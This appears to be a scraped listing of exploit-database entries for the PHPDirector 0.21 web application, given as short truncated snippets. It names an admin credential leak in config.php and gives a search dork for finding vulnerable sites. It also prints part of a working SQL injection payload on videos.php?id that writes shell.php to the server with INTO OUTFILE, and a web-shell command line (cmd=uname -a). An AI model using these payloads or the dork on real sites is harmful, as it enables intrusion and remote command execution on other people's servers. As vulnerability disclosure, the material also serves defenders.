Design/Logic Flaw

PHPDirector 0.21 and earlier stores the admin account name and password in config.php, which allows local users to gain privileges by reading this file...

PHPDirector <= 0.21 (SQL injection/Upload SHELL) Remote Vulnerabilities

PHPDirector = 0.21 SQL injection/Upload SHELL Remote Vulnerabilities WEB APP: PHPDirector 0.21 SITE: http://www.phpdirector.co.uk/site/ DORK: "Powered by PHP Director" AUTHOR: Kw3rLn tehlostbyteatYaHoOd0tCom Romanian Security Team Ethical Hacking - hTTp://RSTZONE.nET DESCRIPTION: - SQL injection ...

PHPDirector 0.21 - videos.php?id SQL Injection

PHPDirector 0.21 - videos.php?id SQL Injection PHPDirector ',3,4,5,6,7,8,9,10,11,12,13,14,15%20INTO%20OUTFILE%20'pathfounded/shell.php'%20FROM%20ppconfig 3. http://www.site.com/shell.php?cmd=uname -a GREETZ: all memberz of RST and milw0rm //kw3rln http://rstzone.net milw0rm.com 200...